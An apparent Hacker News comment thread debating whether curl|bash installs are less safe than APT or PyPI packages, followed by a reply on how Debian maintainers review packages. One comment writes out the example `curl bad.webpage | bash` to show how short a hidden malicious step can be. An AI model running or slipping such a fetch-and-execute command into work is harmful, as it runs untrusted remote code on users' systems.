|
|
|
|
|
|
by rich_sasha
1303 days ago
|
|
|
My point is, how hard it is for a malicious actor to slip something bad into a "high quality" resource such as APT (or any other method safer than curl|bash). I suspect not that hard. For Python there has certainly been typo-squatting with malicious packages. Notoriously, something like this happened for node (IIRC, not a JS dev). I can well imagine the general code hygiene for Debian is higher, but unless someone really checks and reads the pyramid of requirements, I think safety is maybe illusorily higher than curl|bash. At the end of the day, I have to trust that whoever is providing the code isn't trying to hack me. For example, to just install Jupyter Notebook (standard Python thing) installs 72 dependencies (I just checked). Do Debian devs check each and every one of them? From memory, Jupyter is available as an APT package. Or if someone shares an interesting project on HN and points to a GitHub repo, do I read through every line of code? I'll probably skim through any code before running it. But shelling out to a malicious command (like `curl bad.webpage | bash`:) ) is literally one line and easy to hide. So yes, if I have some malware that requires literally hundreds of dodgy-looking code, it's easier to slip into a curl|bash. But one little line of evil? Not sure it's easier. |
|
|
Well, if Jupyter Notebook is in main, then the libraries it depends on also have to be in main. That means they have Debian maintainers, and have to go through Debian release management. So yes: in theory, the entire stack is checked.
Not by Debian "devs" - I think those are the guys that work on Debian native software, like the installer and dpkg. The checking is done by Debian maintainers and the release managers. And the users, of course; I'm ever grateful to the users who install Sid, and report back to the maintainers.